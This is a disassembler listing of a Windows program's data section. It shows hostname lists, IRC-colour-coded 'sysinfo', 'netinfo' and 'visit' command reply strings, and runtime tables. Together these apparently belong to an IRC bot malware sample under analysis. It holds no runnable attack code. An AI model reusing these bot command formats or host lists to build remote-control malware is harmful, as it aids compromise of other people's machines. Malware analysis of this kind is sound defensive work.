		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A030	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A10C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A140	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A184	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A194	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1A4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A200	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A21C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A258	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A274	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 0AA798B1Ch		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset dword_545350	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset dword_544450	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
dword_43DECC	dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043375Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A48o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384B8o
dword_457444	dd 17355h dup(0)
		db 0
		db 0
		align 4
dword_4B419C	dd 42Ah	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438324o
dword_4B5248	dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
